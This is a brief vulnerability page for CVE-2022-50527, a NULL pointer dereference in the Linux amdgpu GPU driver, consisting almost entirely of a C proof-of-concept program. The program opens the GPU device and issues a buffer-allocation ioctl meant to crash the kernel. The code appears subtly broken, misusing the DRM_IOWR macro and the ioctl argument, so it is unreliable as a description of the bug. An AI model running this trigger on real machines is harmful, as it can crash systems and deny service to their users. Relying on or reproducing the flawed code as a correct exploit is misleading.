CVE-2022-50527 Linux内核amdgpu驱动空指针解引用漏洞

// CVE-2022-50527 PoC - Trigger NULL pointer dereference in amdgpu_bo_validate_size() // This PoC demonstrates how to trigger the vulnerability by requesting // a memory domain whose TTM manager is not initialized. #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> #include <drm/amdgpu_drm.h> int main() { int fd; struct drm_amdgpu_bo_alloc_request req = {0}; struct drm_amdgpu_bo_info info = {0}; uint32_t handle; int ret; // Open the AMD GPU device fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open AMD GPU device"); return 1; } // Set up buffer object allocation request req.size = 4096; // 4KB buffer req.alignment = 4096; req.domains = AMDGPU_GEM_DOMAIN_GTT; // Request GTT domain req.domain_flags = 0; // Attempt to allocate buffer object // This may trigger amdgpu_bo_validate_size() with uninitialized TTM manager ret = ioctl(fd, DRM_IOWR(DRM_AMDGPU_BO_ALLOC, &req), &handle); if (ret < 0) { perror("Buffer allocation failed"); } close(fd); return 0; } // Note: Actual exploitation requires specific kernel configuration // where the GTT domain manager is not properly initialized.